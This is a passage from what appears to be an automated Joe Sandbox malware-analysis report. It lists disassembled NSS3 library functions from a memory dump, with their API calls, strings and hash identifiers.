Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 143ae0ab91d5e11f876062f218779e013b1bb8d86183cae2b9772ce41b6f3de5
Instruction ID: 4a3204f2cb3277fdf9ceccd5690b98989d96aa535a504a19e16eb732d954703e
Opcode Fuzzy Hash: 143ae0ab91d5e11f876062f218779e013b1bb8d86183cae2b9772ce41b6f3de5
Instruction Fuzzy Hash: 44A1E775B042019FD710CF29C481A6AB7F5EF85308F25892DF8898BB41D731EA66CBD2

Function 6CECEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CECEE0B

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECEEE1

Part of subcall function 6CEC1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CEC1D7E
Part of subcall function 6CEC1D50: EnterCriticalSection.KERNEL32(?), ref: 6CEC1D8E
Part of subcall function 6CEC1D50: PR_Unlock.NSS3(?), ref: 6CEC1DD3

TlsGetValue.KERNEL32 ref: 6CECEE51
EnterCriticalSection.KERNEL32(?), ref: 6CECEE65
PR_Unlock.NSS3(?), ref: 6CECEEA2
free.MOZGLUE(?), ref: 6CECEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CECEED0
PR_Unlock.NSS3(?), ref: 6CECEF48
free.MOZGLUE(?), ref: 6CECEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CECEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CECEFA4
free.MOZGLUE(?), ref: 6CECEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CECF055
free.MOZGLUE(?), ref: 6CECF060

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 4aa684fc468de0a620bb63bc158ecbc72b8f62d6bc84d9218f1ed1c1a179ca38
Instruction ID: 9627b17514e22eaad24166f57b121db8c4864201c86a4f694935572fc06e80b8
Opcode Fuzzy Hash: 4aa684fc468de0a620bb63bc158ecbc72b8f62d6bc84d9218f1ed1c1a179ca38
Instruction Fuzzy Hash: C5817F71E00609AFDF009FA4DD46BDE7BB5BF09348F640028E919A7711E735E924CBA2

Function 6CE94CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE94D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE94D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE94DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE94E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE94E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE94E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE94E85
DER_Encode_Util.NSS3(?,?,6CFE05A4,00000000), ref: 6CE94EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE94F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE94F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE94F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE94F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE94F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE94FC8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 6e6e2c6952ea2862671d83cb3af528e8da80cf8e406637cbb358084a83ff30aa
Instruction ID: 1303cf848584e64163d4cfe47c6a4f842e94c83dd67ca5a33b59c65c37270530
Opcode Fuzzy Hash: 6e6e2c6952ea2862671d83cb3af528e8da80cf8e406637cbb358084a83ff30aa
Instruction Fuzzy Hash: 6281A171904302AFE701CF64D841B5AB7F4AB8934CF24892EF969DB741EB31E905CB92

Function 6CED5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CED5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CED5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CED5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CED5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CED5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CED5E18
TlsGetValue.KERNEL32 ref: 6CED5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CED5E72
PR_Unlock.NSS3(?), ref: 6CED5E8B

Part of subcall function 6CECF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CECF854
Part of subcall function 6CECF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CECF868
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CECF882
Part of subcall function 6CECF820: free.MOZGLUE(04C483FF,?,?), ref: 6CECF889
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CECF8A4
Part of subcall function 6CECF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CECF8AB
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CECF8C9
Part of subcall function 6CECF820: free.MOZGLUE(280F10EC,?,?), ref: 6CECF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CED5D3D
d, xrefs: 6CED5C36

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: e1459d98c7acd07144b2e61a390a737e1fcd59606d6caf5ce753f01339cbfa47
Instruction ID: b090edb8a971c571358ad148c2eea2a5d0db823edd9b6a70960ef6beaa0fb541
Opcode Fuzzy Hash: e1459d98c7acd07144b2e61a390a737e1fcd59606d6caf5ce753f01339cbfa47
Instruction Fuzzy Hash: 3671E3F5E022029BEB00AF24EC41B6A3375EF4531CF350439DC099AB42EB36F956C692

Function 6CEC8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CEC9582), ref: 6CEC8F5B

Part of subcall function 6CEDBE30: SECOID_FindOID_Util.NSS3(6CE9311B,00000000,?,6CE9311B,?), ref: 6CEDBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEC8F6A

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CEC8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFAD820,6CEC9576), ref: 6CEC8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CEC901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CEC903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEC9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CEC90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CEC90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CEC90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEC912D
free.MOZGLUE(00000000), ref: 6CEC9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CEC9145

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 4960b13a8e9437c86e3ad6a8dfcbf20bfb881bcf0475586cff96484f22484b6c
Instruction ID: ffa23ddf3dd80153826857a83778c7b1d07f9a0daab1eae0f20428a3d23dda07
Opcode Fuzzy Hash: 4960b13a8e9437c86e3ad6a8dfcbf20bfb881bcf0475586cff96484f22484b6c
Instruction Fuzzy Hash: 8951C0B2A042409BEB10CF289D42B9AB7F4AF8435CF254529EC6497741EB35E945CB93

Function 6CE7AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE7AF47

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

FreeLibrary.KERNEL32(?), ref: 6CE7AF6D
free.MOZGLUE(?), ref: 6CE7AFA4
free.MOZGLUE(?), ref: 6CE7AFAA
PR_ExitMonitor.NSS3 ref: 6CE7AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE7AFF5
PR_ExitMonitor.NSS3 ref: 6CE7B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE7B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE7B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE7B03C

Strings

%s decr => %d, xrefs: 6CE7AFF0
Unloaded library %s, xrefs: 6CE7B023

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 53f2ccccfeedcb9596a5b0d849e923b533451c12a6b055b01f2987446230b8c2
Instruction ID: 517137635b60ac597447417a514fc6da2968a4c7f31e0d494087c0cd97c44ee6
Opcode Fuzzy Hash: 53f2ccccfeedcb9596a5b0d849e923b533451c12a6b055b01f2987446230b8c2
Instruction Fuzzy Hash: 053125B5F44111ABEB609F65DC41B15B775EB0A30CB388125E80597B41F732E828CBF1

Function 6CEC6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEC781D,00000000,6CEBBE2C,?,6CEC6B1D,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEC781D,?,6CEBBE2C,?), ref: 6CEC6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEC6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEC6C96

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEC6CAA

Strings

rdb:, xrefs: 6CEC6C69
extern:, xrefs: 6CEC6C7E
dbm:, xrefs: 6CEC6C3A
sql:, xrefs: 6CEC6C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CEC6C91
dbm, xrefs: 6CEC6CA4

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: e0a76da2805265a14935920d311423179bcd70fe5fde0b18b430d4420813a058
Instruction ID: fd13089ff6d4975144c057f4288f4e266dd9ff65d2835dce6aa4b068309566c2
Opcode Fuzzy Hash: e0a76da2805265a14935920d311423179bcd70fe5fde0b18b430d4420813a058
Instruction Fuzzy Hash: 2D0184E1B0230367E95026795E4AF67366D9F8125CF340432FE14E0A81EA92E92540A7

Function 6CED4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE978F8), ref: 6CED4E6D

Part of subcall function 6CE709E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE706A2,00000000,?), ref: 6CE709F8
Part of subcall function 6CE709E0: malloc.MOZGLUE(0000001F), ref: 6CE70A18
Part of subcall function 6CE709E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE70A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE978F8), ref: 6CED4ED9

Part of subcall function 6CEC5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CEC7703,?,00000000,00000000), ref: 6CEC5942
Part of subcall function 6CEC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CEC7703), ref: 6CEC5954
Part of subcall function 6CEC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC596A
Part of subcall function 6CEC5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC5984
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CEC5999
Part of subcall function 6CEC5920: free.MOZGLUE(00000000), ref: 6CEC59BA
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CEC59D3
Part of subcall function 6CEC5920: free.MOZGLUE(00000000), ref: 6CEC59F5
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CEC5A0A
Part of subcall function 6CEC5920: free.MOZGLUE(00000000), ref: 6CEC5A2E
Part of subcall function 6CEC5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CEC5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4EB3

Part of subcall function 6CED4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CED4EB8,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED484C
Part of subcall function 6CED4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CED4EB8,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED486D
Part of subcall function 6CED4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CED4EB8,?), ref: 6CED4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4EC0

Part of subcall function 6CED4470: TlsGetValue.KERNEL32(00000000,?,6CE97296,00000000), ref: 6CED4487
Part of subcall function 6CED4470: EnterCriticalSection.KERNEL32(?,?,?,6CE97296,00000000), ref: 6CED44A0
Part of subcall function 6CED4470: PR_Unlock.NSS3(?,?,?,?,6CE97296,00000000), ref: 6CED44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CFADCB0,00000000), ref: 6CED4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CED501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE978F8), ref: 6CED506B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 6b1956cb32180e7bbaf10f6d11cd61d59b8e5fd7f72ab68ae7b633f58ddf50e2
Instruction ID: 57899d1e3ed57ce816eadae2cb0f705758c2cfb85cc09ad495d7653cc89fca33
Opcode Fuzzy Hash: 6b1956cb32180e7bbaf10f6d11cd61d59b8e5fd7f72ab68ae7b633f58ddf50e2
Instruction Fuzzy Hash: EF51E4F5D01606ABEB119F24EC0169A37B4EF1531CF26463AEC0686B12FB32E556C6D2

Function 6CE7ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7ACE2
malloc.MOZGLUE(00000001), ref: 6CE7ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE7AD02
TlsGetValue.KERNEL32 ref: 6CE7AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE7AD8C
PR_Unlock.NSS3 ref: 6CE7ADC0
free.MOZGLUE(00000000), ref: 6CE7AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE7AE58
free.MOZGLUE(00000000), ref: 6CE7AE69
free.MOZGLUE(?), ref: 6CE7AE78
PR_Unlock.NSS3 ref: 6CE7AE8C
free.MOZGLUE(?), ref: 6CE7AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7AEC7

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d22271a4c045be488056f02054faa96c9c913519707c0b8d40be3970b952de9f
Instruction ID: 785f0795cfdfb338e75dc39601b51df4e74e5d131387ad1c9feff29b6f5835b2
Opcode Fuzzy Hash: d22271a4c045be488056f02054faa96c9c913519707c0b8d40be3970b952de9f
Instruction Fuzzy Hash: 0C51C0B0E502169BEFA0DFA9D9417AE7774FB0A34DF244026D908A3B01D731E945CBE2

Function 6CEBADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CEBADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEBAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAE29

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEBAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEBAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEBAEA0

Strings

C_MessageSignInit, xrefs: 6CEBADE1
hKey = 0x%x, xrefs: 6CEBAE62, 6CEBAE72
(CK_INVALID_HANDLE), xrefs: 6CEBAE1F, 6CEBAE80
hSession = 0x%x, xrefs: 6CEBAE01, 6CEBAE11

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 5f81fc340dbb7304b6ba7f2358abd0db225d8b44518e82648ce1a228fd7b594b
Instruction ID: 77f4e0033c885d3ea3d722553476335f0ee422d598d8d0a27fc42480a578b1c2
Opcode Fuzzy Hash: 5f81fc340dbb7304b6ba7f2358abd0db225d8b44518e82648ce1a228fd7b594b
Instruction Fuzzy Hash: 35311331A40108FBDF849F54DE88BBE7775AB4A30DF144428F408BBB11DB359949CBA1

Function 6CEB9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CEB9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9F49

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

